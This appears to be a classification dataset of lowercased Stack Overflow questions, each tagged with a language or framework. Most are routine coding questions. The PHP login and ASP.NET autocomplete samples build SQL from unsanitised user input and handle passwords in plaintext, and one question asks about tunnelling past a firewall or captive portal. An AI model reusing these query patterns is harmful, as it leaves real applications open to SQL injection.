designing layout in html  i use css to stylize my pages. i use % style instead of using px values. however  since i need to add several elements of different sizes in different positions  i end up spending more time in designing the layout than the coding.     i tried using a wysiwyg editor but it uses px style coding. can someone help me with a solution so that i can design the layout quickly and proceed to real part  i use wordpad right now.,html
override a method via objc category and call the default implementation   when using categories  you can override implementation methods with your own like so:   <pre><code>// base class  @interface classa : nsobject  - (nsstring *) mymethod; @end @implementation classa - (nsstring*) mymethod { return @ a ; } @end  //category @interface classa (categoryb)  - (nsstring *) mymethod; @end @implementation classa (categoryb) - (nsstring*) mymethod { return @ b ; } @end </code></pre>   calling the method  mymethod  after including the category nets the result  b .    what is the easiest way for the category implementation of mymethod to call the original class a mymethod   as near as i can figure out  you d have to use the low level calls to get the original method hook for class a and call that  but it seemed like there would be a syntactically easier way to do this.,objective-c
css not styling from external stylesheet  i got some css for buttons from this website: <a href= http://www.bestcssbuttongenerator.com  rel= nofollow >http://www.bestcssbuttongenerator.com</a>.  i put the code a stylesheet. now when i try applying the styles for these buttons  they don t work. they <em>do</em> work  however  when i put the css in an inline stylesheet  between <code>style</code> tags. any idea why    <pre><code>&lt;span id=  &gt; &lt;span id= some-id &gt;some text...&lt;/span&gt;  &lt;/span&gt; &lt;a href= # &gt;&lt;span class= button &gt;some text...&lt;/span&gt;&lt;/a&gt;&lt;br&gt;  &lt;style&gt; .button { -moz-box-shadow:inset 0px 1px 0px 0px #54a3f7; -webkit-box-shadow:inset 0px 1px 0px 0px #54a3f7; box-shadow:inset 0px 1px 0px 0px #54a3f7; background:-webkit-gradient(linear  left top  left bottom  color-stop(0.05  #007dc1)  color-stop(1  #0061a7)); background:-moz-linear-gradient(top  #007dc1 5%  #0061a7 100%); background:-webkit-linear-gradient(top  #007dc1 5%  #0061a7 100%); background:-o-linear-gradient(top  #007dc1 5%  #0061a7 100%); background:-ms-linear-gradient(top  #007dc1 5%  #0061a7 100%); background:linear-gradient(to bottom  #007dc1 5%  #0061a7 100%);  background-color:#007dc1; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; border:1px solid #124d77; display:inline-block; cursor:pointer; color:#ffffff; font-family:courier new; font-size:13px; font-weight:bold; padding:20px 24px; text-decoration:none; text-shadow:0px 1px 0px #154682; } .button:hover { background:-webkit-gradient(linear  left top  left bottom  color-stop(0.05  #0061a7)  color-stop(1  #007dc1)); background:-moz-linear-gradient(top  #0061a7 5%  #007dc1 100%); background:-webkit-linear-gradient(top  #0061a7 5%  #007dc1 100%); background:-o-linear-gradient(top  #0061a7 5%  #007dc1 100%); background:-ms-linear-gradient(top  #0061a7 5%  #007dc1 100%); background:linear-gradient(to bottom  #0061a7 5%  #007dc1 100%);  background-color:#0061a7; } .button:active { position:relative; top:1px;} &lt;/style&gt; </code></pre>,css
how to use an item on form from another class c#  so i have created windows form application and made a library added a reference so that i can use classes from library.    now i have in a method that is in a class that is in that library it needs to change a pic in picturebox so how do i get access to a picturebox that is on form(form1).     and also it would be nice that the method is able to get in what kind of item he is  for example in picturebox1 or picturebox2 so that it changes the picturebox that it is called from.    but mainly how to access that picturebox.,c#
iterating in python with os.walk not returning the expected values  i am new to python and i ve been trying to iterate through a big directory with plenty of subdirectories with certain depth.    until now i got until this code.   <pre><code>for dirpath  subdirs  files in os.walk( //media//rayeus//datos//mis  documentos//nueva carpeta//   topdown=true):    for name in files:       f = os.path.join(dirpath  name)       print f     for name in subdirs:       j = os.path.join(dirpath  name)       print j </code></pre>   the idea is use the iterations to make an inventory on an excel file of the structure inside the directory.    the problem is that if i just leave the same path without  nueva carpeta  it works perfectly... but when i add  nueva carpeta  the script runs without errors but doesnt returns anything,python
onclick not working for a button  i have written this html code to move image up &amp; down when respective button is clicked  but the image is not moving after clicking the buttons  i can t use javascript so is there any solution without using javascript    <pre><code>&lt;!doctype html&gt; &lt;html&gt;      &lt;head&gt;         &lt;title&gt;move image&lt;/title&gt;     &lt;/head&gt;      &lt;body&gt;         &lt;img id= img  style= position:absolute; top:0%; left:0%  src= plane.png  width= 300  height= 100 &gt;         &lt;button type= button  onclick= document.getelementbyid( img ).style.top= 0% ;  style= position:absolute; top:90%; left:87% &gt;up&lt;/button&gt;         &lt;button type= button  onclick= document.getelementbyid( img ).style.top= 75% ;  style= position:absolute; top:90%; left:90% &gt;down&lt;/button&gt;     &lt;/body&gt;  &lt;/html&gt; </code></pre>,html
return error message php  well     i have form to login in my <strong>index.php</strong> and in <strong>login.php</strong> i check if there is an error.    i want return the message to index.php and show the message by <code>$error_txt</code>    below is my code:    <strong>index.php:</strong>   <pre><code>&lt;form action= login.php  method= post &gt; &lt;input type= text  name= username  placeholder= username  id= user-input  /&gt;&lt;br /&gt; &lt;input type= password  name= password  placeholder= password  id= user-input  /&gt;&lt;br /&gt; &lt;input type= submit  name= login  value= login  id= user-submit  class= btn btn-primary  style= color:white; /&gt;&lt;br /&gt; &lt;a href= register.php &gt;register&lt;/a&gt; &lt; php echo $error_txt;  &gt; &lt;!-- --------- here i want show the error message --&gt; &lt;/form&gt; </code></pre>   <strong>login.php:</strong>   <pre><code>&lt; php     if(isset($_post[ login ]))     {         $username = mysql_escape_string($_post[ username ]);         $password = mysql_escape_string($_post[ password ]);         $errors = 0;             try             {                 if(strlen($username) == 0)                 {                     throw new exception ( the username is empty );                 }                 if(strlen($password) == 0)                 {                     throw new exception ( the password is empty );                 }                 include ( web/config.php );                 $usernametruequery = mysql_query( select * from `users` where `username` =  $username  and `password` =  $password  limit 1; );                 $usernametrue = mysql_num_rows($usernametruequery);                 if($usernametrue == 0)                 {                     throw new exception ( the username or password is incorrect );                 }             } catch (exception $loginerror) {                 echo  &lt;div class= alert alert-warning &gt;               &lt;strong&gt;error:&lt;/strong&gt;  .$loginerror-&gt;getmessage(). &lt;/div&gt; \n ;               $errors = 1;               $error_txt = $loginerror-&gt;getmessage();             }             if($errors == 0)             {                 echo  &lt;div class= alert alert-success &gt;               &lt;strong&gt;success&lt;/strong&gt; welcome {$username}!&lt;/div&gt; \n ;             }     }     return $error_txt;     header( location: /index.php );  &gt; </code></pre>   thanks.. :),php
sql queries usng select statement  i have these table from a database. the table worker has 2 fields one of them is id_w(number) and the other is duty(text). worker(id_w duty)    i want to create an sql query that selects only id_w(id of worker) which have the same duty where duty is a text type field. can someone help me  i want to use an aggregate function but none of them helps.,sql
c unsigned char unexpected behavior on overlflow  i m looking at a legacy embedded project with the c30 compiler from microchip for a 16bit mcu.  there is an expected case where the index wraps around from 0xff which i thought would be pre-defined behavior.  however the following code always dumps me in <code>//sad :(</code> when i expect to end up in happy.   <pre><code>unsigned char index = 0xff; unsigned char check = 0x02;  if(check == index +3){     //happy! }else{     //sad :( } </code></pre>   now if i specifically cast it to an <code>unsigned char</code>:   <pre><code>unsigned char index = 0xff; unsigned char check = 0x02;  if(check == (unsigned char) index +3){     //happy! }else{     //sad :( } </code></pre>   it works and i end up in <code>//happy!</code> so what have i missed  is this just compiler dependent behavior,c
error with strcpy and strcmp and the argument of the printf and scanf <pre><code>typedef struct staff {  int id  salary; char name[30]  position[30]; }staff;  void modifystaff() { char ans  cont  name[25]  position[20]; int i = 0  pcount  modicount = 0  found  id[20]; int salary[20]; staff p[20]; file*fp; fp = fopen( staff.dat    rb ); while (fread(&amp;p[i]  sizeof(staff)  1  fp))     i++; pcount = i; fclose(fp); do {     printf( \nenter id of the staff to be modified :  );      rewind(stdin);     scanf( %d   &amp;id);     found = 0;      printf( \nid    name   position    salary \n );     printf( ============   ===========    ======= \n );     for (i = 0; i &lt; pcount; i++) {         if (id == p[i].id == 0) {             found = 1;             printf( %-18d %-10s %-10s %-10d \n                   p[i].id  p[i].name  p[i].position  p[i].salary);             printf( \n updated name: );              scanf( %[^\n]   &amp;name);             printf( \n updated position: );              scanf( %[^\n]   &amp;position);             printf( \n updated salary: );              scanf( %d   &amp;salary);             printf( confirm to modify (y=yes)   );              scanf( %c   &amp;ans);             if (toupper(ans) ==  y ) {                 p[i].id = id;                 strcpy(p[i].name  name);                 strcpy(p[i].position  position);                 p[i].salary=salary;                 modicount++;             }             printf( updated staff records:\n );             printf( \nid name position salary\n );             printf( ========  ========= =========== ========\n );             printf( %-18d %-10s %-10s %-10d   p[i].id  p[i].name  p[i].position  p[i].salary);         }     }     if (!found)         printf( no record founded with this id );     printf( any more record to modify (y=yes)  );      scanf( %c   &amp;cont); } while (toupper(cont) ==  y ); fp = fopen( staff.dat    wb ); for (i = 0; i &lt; pcount; i++)     fwrite(&amp;p[i]  sizeof(staff)  1  fp); fclose(fp); printf( \n\t%d record(s) modified.\n\n   modicount); </code></pre>   }    it will change the name and the position but for the salary it will show access of violation. i want to change the salary and store the new one.but it cannot store the new one the compiler execute until the line comfirm to modify   and then stop execute. staff p represent all of the p[i] in the modify function,c
hiding display of characters  i m wondering if there s a way of effectively hiding characters  but still keeping them there because i m using them for spacing.  like this...    00056 where the 000  part is not displayed to the user  but it effectively bumps the  56  part over.  kinda like a place value thing.    i ve tried...   <ul> <li>changing the color to white for the 0 s since i have a white background on my page.  it feels like there should be a better solution than this though.</li> <li>using <code>&amp;nbsp;</code> in place of each 0  but the width of a <code>&amp;nbsp;</code> doesn t seem to be the same as a 0.</li> <li>positioning the whole number  left  a certain number of pixels.  this isn t too bad  but the number i m working with are randomly generated.  so  it won t always be 00056.</li> </ul>   thoughts on the best solution here,css
output based on variable  i am in an intro to computer science course learning c++. our current project involves taking input of what type of bank account the person has (commercial or personal) and following different paths for both. i have found that this would cause me to write two output functions  one for each different type of account.    would there be a way for me to write 1 output function but have it output the information based on what type of account they chose      for example what i was thinking of would be to give each choice a number. this example would be personal is 0 and commercial is 1. when they enter what type it assigned the number 1 or 0 to a variable and then each variable i output would be based off a if statement that says if x is equal to 1 then output y if not output z.    any help would be appreciated and if this is unclear i can provide more information about the project.    thanks.,c++
asp.net menu xml does not read properly  i am building my first asp.net app  i inserted the menu control (horizontal) and binded it to an xml file i made up. unfortunately  when the page is rendered  the menu shows sub-items named as submenu  submenu  submenu and my text property isn t applied  also the links always points to #. i looked at other people s code online and i cannot spot the difference. code:   <pre><code>&lt;%@ master language= c#  autoeventwireup= true  codefile= outershell.master.cs  inherits= outershell  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt; &lt;title&gt;&lt;/title&gt; &lt;link href= ~/styles/style1.css  rel= stylesheet  type= text/css  /&gt;  &lt;asp:contentplaceholder id= headcontent  runat= server &gt; &lt;/asp:contentplaceholder&gt; &lt;/head&gt; &lt;body&gt;  &lt;form id= form1  runat= server &gt; &lt;asp:menu id= menu1  runat= server  datasourceid= xmldatasource1       orientation= horizontal  backcolor= #f7f6f3  dynamichorizontaloffset= 2       font-names= verdana  font-size= 0.8em  forecolor= #7c6f57       staticsubmenuindent= 10px &gt;     &lt;dynamichoverstyle backcolor= #7c6f57  forecolor= white  /&gt;     &lt;dynamicmenuitemstyle horizontalpadding= 5px  verticalpadding= 2px  /&gt;     &lt;dynamicmenustyle backcolor= #f7f6f3  /&gt;     &lt;dynamicselectedstyle backcolor= #5d7b9d  /&gt;     &lt;dynamicitemtemplate&gt;         &lt;%# eval( text ) %&gt;     &lt;/dynamicitemtemplate&gt;     &lt;statichoverstyle backcolor= #7c6f57  forecolor= white  /&gt;     &lt;staticmenuitemstyle horizontalpadding= 5px  verticalpadding= 2px  /&gt;     &lt;staticselectedstyle backcolor= #5d7b9d  /&gt; &lt;/asp:menu&gt; &lt;asp:xmldatasource id= xmldatasource1  runat= server       datafile= ~/app_data/menu_h.xml  enablecaching= false &gt;&lt;/asp:xmldatasource&gt;  &lt;div&gt;     &lt;asp:contentplaceholder id= maincontent  runat= server &gt;     &lt;/asp:contentplaceholder&gt; &lt;/div&gt; &lt;/form&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   xml code:        <pre><code>&lt;main text= main menu  url= ~/main.aspx &gt;  &lt;submenu text= start configuring  url= ~/config1.aspx &gt;&lt;/submenu&gt; &lt;submenu text= about us  url= ~/about.aspx &gt;&lt;/submenu&gt; &lt;submenu text= contact us  url= ~/contact.aspx &gt;&lt;/submenu&gt; &lt;/main&gt; </code></pre>   any help is appreciated. thanks.,asp.net
jquery  change  nor  resize  works  i wanted to make it so that the header stops moving when the user scrolls past the sliders on the top of the page  so i ve used bootstrap affix to change the class. the problem is  the wordpress theme i m using(zerif lite) has a pre-loader and it only sets the height after it s gone(otherwise it s set to 0  since it hides the slides div). so  since the site is responsive  i ve decided that it would just be better to change the affix top parameter when the slides div height is changed  since it will go from 0 to x whenever the preloader  so i ve used this code:    <pre><code>jquery(document).ready(function(){     jquery( #main-nav ).affix({     offset: {                 top: jquery( .sliders ).height()     } });     jquery(jquery( .sliders ).height()).on( change  function(){         alert( ayy );     });     jquery( .sliders ).on( resize   function(){         alert(jquery( .sliders ).height());     }); }); </code></pre>   the current event function is set to that so that i know if it s working  but it s not  and with the click event i can see that it s actually changing.,jquery
why instance block changes are not reflected when passing the changed value to constructor  i just came across a scenario  which i never experimented with before -   <pre><code>public class instanceblocks {     public static  int i = 5;      {         i ++;         system.out.println( inside first instance block  + i);     }      public instanceblocks(){         this(i);         i++;         system.out.println( inside def const  + i);      }      public instanceblocks(int i){         i =i*2;         system.out.println( inside param const  + i);     }  } </code></pre>   the o/p is -    <pre><code>inside first instance block 6 inside param const 10 inside def const 7 </code></pre>   why is the parameterized constructor printing 10  the  this  call is passing the value as 5  but isn t the value of i already changed before the  this  call,java
how can i process a very large file in python   this question was asked earlier  but quite a while ago. i am currently trying to open a very large file (20gb) to manipulate stuff.    i am using:   <pre><code>read_path =  ../text/  time = 3600 data = open(read_path+ genomes +str(time)).read().replace(     \n ).replace( \n    ) </code></pre>   and it works fine when i choose a smaller file in the same directory (genomes1000)  but when i change the time to the one matching the larger file i get the error.    the exact error message is:   <pre><code>tempo:analytics scottjg$ python genomeplot.py  traceback (most recent call last):   file  genomeplot.py   line 27  in &lt;module&gt;     data = open(read_path+ genomes +str(time)).read().replace(     \n ).replace( \n    ) oserror: [errno 22] invalid argument thoughts  </code></pre>,python
why compiler thinks that result of expression 1 + m=6 + 2 is boolean   why compiler thinks that the expression <code>1 + m=6 + 2</code> is evaluated to boolean  <strong>compiler (eclipse) says that the result of this expression is <em>boolean</em>. why </strong> priority of = is lowest  so first + is done and <code>1+m</code> shall fail with  unitialized local variable  compile error. if i declare <code>int m = 1;</code> then expression above shall fail as (1+1) = (6+2) => 2=8 is not allowed.   <pre><code>class driver {      static void f(int arg) {         system.out.println(arg);     }      public static void main(string[] args) {          int m;          f( 1 + m=6 + 2); // c.err           f( 1 + (m=6) + 2); // prints 9       } } </code></pre>,java
jquery to merge table second column value to next column values  i want to merge the column 2 values with column 3 in my table  and my table having more than 20 row.    i am adding class for column 2 for class= column2  and 3 for class= column3 . and my table class name is gentable.    how to merge each column 2 values in to column 3..eg. in column2 i have  firstname  and column 3 i have  lastname  as test then after this script i want to see as  firstname lastname  together incolumn 3 for all the columns      js:   <pre><code>$(document).ready(function(){       $( .gentable tr ).each(function(){             var col2value = $( .column2 ).text();             var col3value = $( .column3 ).text();             $(col2value).append(col3value);      }) }); </code></pre>   how to merge each column values in to another for all rows  do we need to use for loop,jquery
link opens in new window instead of new tab even after adding target= _blank  when the site is developed in sitecore 8  in sitecore-8 cms all external links opens in a new window rather than a new tab in ie 10 and ie 9 even after providing target= _blank  in the href tag.    please give us some solution.,html
autocomplete in ajax not working   in ajax  i am using autocompleteexender in my asp.net application  i write the service for that  when i run that service it is working fine  when i place autocompleteextender in asp.net page and assign properity for ajax autocompleteextender it is not working. this is my code service:    <pre><code>[webmethod] public string[] getcompletionlist(string prefixtext) {     sqlconnection con=new sqlconnection      ( server=******;database=mydb;user id=***;password=****; );     string sql =  select productname from f_product       where productname like    + prefixtext +  %  ;     sqldataadapter da = new sqldataadapter(sql  con);       try     {         datatable dt = new datatable();         da.fill(dt);         string[] items = new string[dt.rows.count];         int i = 0;         foreach (datarow dr in dt.rows)         {             items.setvalue(dr[0].tostring()  i);             i++;         }         return items;      }     catch     {         return null;     }     finally     {         con.close();      } </code></pre>   and this is my ajax autocompleteextender code.   <pre><code>&lt;asp:autocompleteextender id= autocompleteextender1  minimumprefixlength= 2       targetcontrolid = textbox1  servicemethod= getcompletionlist         servicepath= ~/autocomplete.asmx           runat= server &gt;     &lt;/asp:autocompleteextender&gt;      &lt;asp:textbox id= textbox1  runat= server       width= 213px &gt;&lt;/asp:textbox&gt; </code></pre>,asp.net
stop function from being ran again if still running  i ve got a python script which calls a function and i want to have a cronjob run it every 5 minutes.   <pre><code>def colour_images(images=none):     ...     os.system( command )     ...  if __name__ ==  __main__ :     colour_images() </code></pre>   it runs a command to the terminal using os i want to know if the task is completed (no similar task is running) before running the command.,python
hover links disappear before you can click them  i ve created a drop down hover list in the ul tags using css  but before i can get the mouse down over the links  they disappear. how can i stop this     this is my code:   <pre class= lang-css prettyprint-override ><code>#header {   margin: 0px;   padding: 0px;   width: 100%;   background-color: red;   height: 30px;   box-shadow:inset 0 1px rgba(255 255 255 0.3)  inset 0 10px rgba(255 255 255 0.2)  inset         0 10px 20px rgba(255 255 255 0.25)  inset 0 -15px 30px rgba(0 0 0 0.3);   text-align: center; } #header ul {   margin: 0px;   padding: 0px; } #header ul li {   display: inline;   text-align: center;   position: relative; } #header ul li a {   text-decoration: none;   font-size: 22px;   color: white;   font-weight: bold;   line-height: 30px;   margin-left: 10px; } #header ul ul {   position: absolute;   visibility: hidden;   top: 31px; } #header ul li:hover ul {   visibility: visible; } #header ul li a:hover {   text-decoration: underline;   font-size: 22px;   color: black; } </code></pre>,css
how to avoid missingmethodexception   if .net 3.5 is installed  but not .net 3.5 sp1  <code>waithandle.waitone(int)</code> throws a <code>missingmethodexception</code>. i d like to be notified earlier on if the correct version of the .net libraries is not available  for example when the application is started. is this possible     <b>update</b>: so my question question is twofold:   <ul> <li><b>a)</b> how can i determine which version of the .net library is required by an application </li> <li><b>b)</b> how can i determine the currently installed version of the .net library </li> </ul>,.net
how does clr recognizes manage code   how does clr recognizes managed code from unmanaged code     thanks    sna,.net
make transparent  star -looking hole in uiview  let s say i have some uiview and also i have a  closed  uibezierpath inside of that view. what i want to achieve is to have everything  outside  this path be white and inside - transparent (like a hole of that path-shape). solutions like <a href= http://jslim.net/blog/2014/06/13/uiview-fill-with-color-and-leave-a-empty-square-in-center/  rel= nofollow noreferrer >this</a> don t work  for some reason  part of the shape inside is also white.    <a href= https://i.stack.imgur.com/yx0ok.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yx0ok.png  alt= enter image description here ></a>,ios
how to setup a vps to ping target thru ssh   how to setup a vps to ping target thru ssh  in order to bypass a firewall or captive portal in any network where my vps would work as a server and my smartphone as a client but i don t how to do that. i was reading about icmp tunnel but i don t how to setup it on my vps and make it work on my smartphone. the network i am in allows pinging.,.net
return a subimage from a uiimage  i want to grab a subimage from a uiimage.  i ve looked around for a similar question  to no avail.      i know the range of pixels i want to grab - how can i return this subimage  from an existing image,iphone
inserting globalresources into input type= submit   this is my code:   <pre><code>&lt;input type= submit  value= pay with money bookers /&gt; </code></pre>   i try to use global resources to display the value as i m making a multi language page. but when i try to do this:   <pre><code>&lt;input type= submit  value= &lt;%$ resources:language  paywithmoney%&gt; /&gt; </code></pre>   i receive an error:   <blockquote>    literal expressions like  &lt;%$ resources:language  paywithmoney%>  are not allowed. use asp:literal runat= server  text= &lt;%$ resources:language  paywithmoney%>  /> instead.  </blockquote>   anyone knows how do i rectify this  i try another method and called a function <code>getglobalrecsources</code> but when i display the button  the wording i receive is submit a query. this problem also occur for <code>input type= hidden</code>.,asp.net
angular ng-include is not working  i have trying to use ng-include to create some partial layouts for pop-up s in my web app. however  for some reason i do not see the html getting rendered when i execute the include. here is my html after my overlay service adds the nginclude   <pre><code>&lt;div id= cover  class=   ng-include=  /angular/views/gears.html  &gt;&lt;/div&gt; </code></pre>   and this resides inside of my <code>ng-app</code> and my <code>ng-controller</code>  so i cannot figure out why my view  <code>/angular/views/gears.html</code> is not showing up correctly     i made sure that going to <code>/angular/views/gears.html</code> in the browser does in fact serve the correct html. it does    <strong>edit</strong>    i just realized that placing the above html directly into the page renders the correct html  however  i am trying to add the include dynamically using a service  so i think it is not rendering the <code>ng-include</code> correctly    <strong>my overlay service</strong>   <pre><code>app.factory( overlayservice   [function () {          var overlay = {};         var _cover;         var _innercontent;          jquery(document).ready(function () {             _cover = jquery(document.createelement( div )).attr({  id :  cover    ng-include  :  }).prependto(jquery( #maincontent ));         });           overlay.show = function (templateurl) {                 jquery(_cover).addclass( show );                  jquery( html body ).bind( mousewheel dommousescroll   function (event) {                     event.preventdefault();                 });                  //_cover.attr( ng-include     /angular/views/ +templateurl+   );                 overlay.url = templateurl;                  return _cover;             }             overlay.destroy = function () {                     jquery( html body ).unbind( mousewheel dommousescroll );                     jquery(_cover).removeclass( show );                  }            return overlay;      }]); </code></pre>,angularjs
no audio after phone call ends  how to resume audio after the phone call ends.    here is my code but it is not working don t know why   <pre><code>@interface mainviewcontroller : uiviewcontroller &lt;infodelegate  avaudioplayerdelegate&gt;  </code></pre>   in m file   <pre><code>-(void)audioplayerbegininterruption:(avaudioplayer *)audioplayer; {  } -(void)audioplayerendinterruption:(avaudioplayer *)audioplayer;  {    [self.audioplayer play];    }    </code></pre>   any ideas what is it i m doing wrong or missing from code.    please help.,iphone
how can i retrict the text inside a block in html   i have the following html:     <pre><code>&lt;html&gt; &lt;body&gt;     &lt;div&gt;         &lt;span&gt;123456&lt;/span&gt;         &lt;span&gt;abc def hgi klm nop qrs tuv wxyz asasasasasas &lt;/span&gt;                 &lt;/div&gt; &lt;/body&gt;   </code></pre>   problem: when the browers becomes smaller the alphanumeric text wraps under 123456.<br> i want it to wrap inside the span an not under the left span.<br> i.e.     <pre><code>123456 abc def hgi klm nop qrs         tuv wxyz asasasasasasasas   </code></pre>   and not      <pre><code>123456 abc def hgi klm nop qrs  tuv wxyz asasasasasasasas   </code></pre>   is there a way to do that without using css  only inline properties,html
iphone - locating incompatible code  i have a code with two targets that uses functions specific to ios 4 and others compatible with 3.0+.    i would like to make a final revision on the code to see if everything is fine. in other words  to see if there s no function meant for ios4 being called when compiling for ios 3.x target.    is there a way to list  during compilation  any functions being called that doesn t belong to the desired version for the target       thanks in advance.,iphone
avoid duplicate data when using asp:control to insert  i have a asp.net code  i use it to insert and view my data from a *.mdb file.<br> when i reload the browser reload  it insert the same old data.            <pre><code>    &lt;asp:detailsview id= detailsview1  runat= server  autogeneraterows= false           datakeynames= user_id  datasourceid= accessdatasource1  height= 50px           width= 125px  defaultmode= insert &gt;         &lt;fields&gt;             &lt;asp:boundfield datafield= user_id  headertext= user_id  insertvisible= false                   readonly= true  sortexpression= user_id  /&gt;             &lt;asp:boundfield datafield= user_name  headertext= user_name                   sortexpression= user_name  /&gt;             &lt;asp:boundfield datafield= user_pass  headertext= user_pass                   sortexpression= user_pass  /&gt;             &lt;asp:boundfield datafield= user_email  headertext= user_email                   sortexpression= user_email  /&gt;             &lt;asp:commandfield buttontype= button  showinsertbutton= true  /&gt;         &lt;/fields&gt;     &lt;/asp:detailsview&gt;      &lt;div id= div1  runat= server &gt;&lt;/div&gt;       &lt;asp:accessdatasource id= accessdatasource1  runat= server           datafile= ~/app_data/esn.mdb           selectcommand= select * from [user]          insertcommand= insert into [user] ([user_name]  [user_pass]  [user_email]) values (@user_name  @user_pass  @user_email) &gt;         &lt;insertparameters&gt;             &lt;asp:parameter name= user_name  type= string  /&gt;             &lt;asp:parameter name= user_pass  type= string  /&gt;             &lt;asp:parameter name= user_email  type= string  /&gt;         &lt;/insertparameters&gt;     &lt;/asp:accessdatasource&gt;          &lt;asp:gridview id= gridview1  runat= server           autogeneratecolumns= false  datakeynames= user_id           datasourceid= accessdatasource1 &gt;         &lt;columns&gt;             &lt;asp:boundfield datafield= user_id  headertext= user_id  insertvisible= false                   readonly= true  sortexpression= user_id  /&gt;             &lt;asp:boundfield datafield= user_name  headertext= user_name                   sortexpression= user_name  /&gt;             &lt;asp:boundfield datafield= user_pass  headertext= user_pass                   sortexpression= user_pass  /&gt;             &lt;asp:boundfield datafield= user_email  headertext= user_email                   sortexpression= user_email  /&gt;         &lt;/columns&gt;     &lt;/asp:gridview&gt;  &lt;/form&gt; </code></pre>,asp.net
"sections aren t continous  i m a newbie in html and on <a href= http://d.websupport.sk/janeviemus.tk/index.html#privitanie  rel= nofollow >my page</a>  i have the problem that my two sections aren t continous:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.privitanie{
 position: absolute;
 background: url( ../images/pozadie.jpg );
 background-repeat: no-repeat;
 background-size: 100% 100%;
 width: 100%;
 height: 100%;
 top: 0;
 z-index: 0;
 }
 
 .uvod{
 position: relative;
 z-index: 0;
 height: 100%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;section class= privitanie  id= privitanie &gt;...&lt;/section&gt;
 
 &lt;section class= uvod  id= uvod &gt;...&lt;/section&gt;</code></pre>
 </div>
 </div>",css
.net: what is the maximum recommended size of a value type   what is the maximum recommended size of a value type  i think i read that microsoft suggests that they are not being larger than 16 bytes  but i can t find the reference.,.net
can we change keyboards programmatically  can we change keyboards programmatically. can we give user option to change keyboard to different language from application at runtime,iphone
updating method to remove loop  this is how i understand method getuser below :     return a user object or null    get a set of users and assign them to userser. if the set is not empty begin iterating over the set but return the first user within the set.    here is the method :    <pre><code>private user getuser(userdet arg) {     set&lt;user&gt; userset = arg.getusers(user.class);      if (collectionutils.isnotempty(userset))     {         for (user user : userset)         {             return user;         }     }      return null; } </code></pre>   i think i could replace the method with this :    <pre><code>private user getuser(userdet arg) {     set&lt;user&gt; userset = arg.getusers(user.class);      if (collectionutils.isnotempty(userset))     {         return userset.iterator().next();     }     else {         return null;     } } </code></pre>   this new method removes the loop and just returns the first element in the set  same as original implemention. is it correct,java
connection in .net  i got     <blockquote>    <code>system.data.datarow.datarow(system.data.datarowbuilder)</code> is inaccessible due to its protection   level.  </blockquote>   while connecting to sql-server. what does it mean,.net
how can i use the array_map with callback function as a member of array element   can i use array_map to replace this code:   <pre><code>$points = []; foreach($addresses as $address) $points[] = $address-&gt;getroutepoint(); $this-&gt;points = $points; </code></pre>,php
ios detect heart rate <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/9274027/detecting-heart-rate-using-the-camera >detecting heart rate using the camera</a>    </blockquote>     i need the same functionality as the application instant heart rate.    the basic process requires the user to:    place the tip of the index finger gently on the camera lens. apply even pressure and cover the entire lens. hold it steady for 10 seconds and get the heart rate. this can be accomplished by turning the flash on and watch the light change as the blood moves through the index finger.    how can i start,ios
how to run an external program  e.g. notepad  using hyperlink   i m generating an html report by c# to print pairs of files in a table which has 3 columns: the first two columns used for the filenames and the 3rd column is a hyperlink compare - i want this link to run winmerge to compare to two files and i currently don t know how to do it.,html
update an already existing field mysql  i was just wondering  how do you modify an already existing field from the command line in my sql. i have a foreign key which is appearing as mul for some reason  and i want to try and reference it to a primary key of another. i had originally tried to do this from mysql workbench and thus i think i have done something wrong.,mysql
default way for passing a url to link_to in rails  this is a very basic question with probably an easy answer. let s say i have a model called product. when i add    <pre><code>map.resources :products </code></pre>   to my routes.rb i have access to some default paths new_product_path  edit_product_path and so on. as i understand this should be used when linking to a resource e.g. using the link_to helper method:   <pre><code>link_to  edit product   edit_product_path(@product) </code></pre>   my question is: what do i do when i have other controller methods like for example    <pre><code>def do_something   ... end </code></pre>   what s the  best  way to link to this controller method    <pre><code>link_to  do something   {:controller =&gt;  products   :action =&gt;  do_something   :id =&gt; @product.id} </code></pre>   for sure would work. but is that what i should use     i hope i made my point clear! please comment if not. i ll try to explain it better then.,ruby-on-rails
how to validate a text field to accept only characters at run time in iphone  i want to validate a text field to accept only characters while typing in it.....,iphone
what is the difference between `marshal.throwexceptionforhrinternal` and `marshal.throwexceptionforhr`   <code>marshal.throwexceptionforhrinternal(int32 errorcode  intptr errorinfo)</code> is not documented anywhere and it s hard to interpret the stack trace without knowing what methods do.,.net
how to set the default  select  ng-model to an object   i am trying to do a search engine interface with angular. the user selects some parameters in a form  click  search  and then it fills the url with the parameters using <code>$location.search()</code>    the search interface parameters which are used to build the form :    <pre><code>params = {     milestones: [  a    b    c    d   etc. ]       properties: [          {  name :  name a   type:  text  }           {  name :  name b   type:  checkbox  }           { etc. }     ] } </code></pre>   inside the controller :    <pre><code>$scope.query = $location.search();  // get the parameters from the url   $scope.search = function (query) {  // set the parameters to the url     $location.search(query);     }; </code></pre>   and the html of the form    <pre><code>&lt;select ng-model= query.milestone_name  ng-options= ms for ms in params.milestones &gt;     &lt;option value=  &gt;-select milestone-&lt;/option&gt; &lt;/select&gt; &lt;select ng-model= property  ng-options= prop.name for prop in params.properties  ng-change= query.property_name=property.name &gt; &lt;!-- if the object  property  was passed in the url  it would look like this `%5bobject%20object%5d`  so its  name  parameter is converted to a string --&gt;     &lt;option value=  &gt;-select property-&lt;/option&gt; &lt;/select&gt; &lt;span ng-switch= property.type &gt;     &lt;label ng-switch-when= text &gt;{{query.property_name}}: &lt;input type= text  ng-model= query.property_value &gt;&lt;/label&gt;     &lt;label ng-switch-when= checkbox &gt;{{query.property_name}}: &lt;input type= checkbox  ng-model= query.property_value &gt;&lt;/label&gt; &lt;/span&gt; &lt;button ng-click= search(query) &gt;search&lt;/button&gt; </code></pre>   and somewhere else in the page is the list of results.     the user can also access to a search result page with an url like this:    <pre><code>http://myapp.com/search 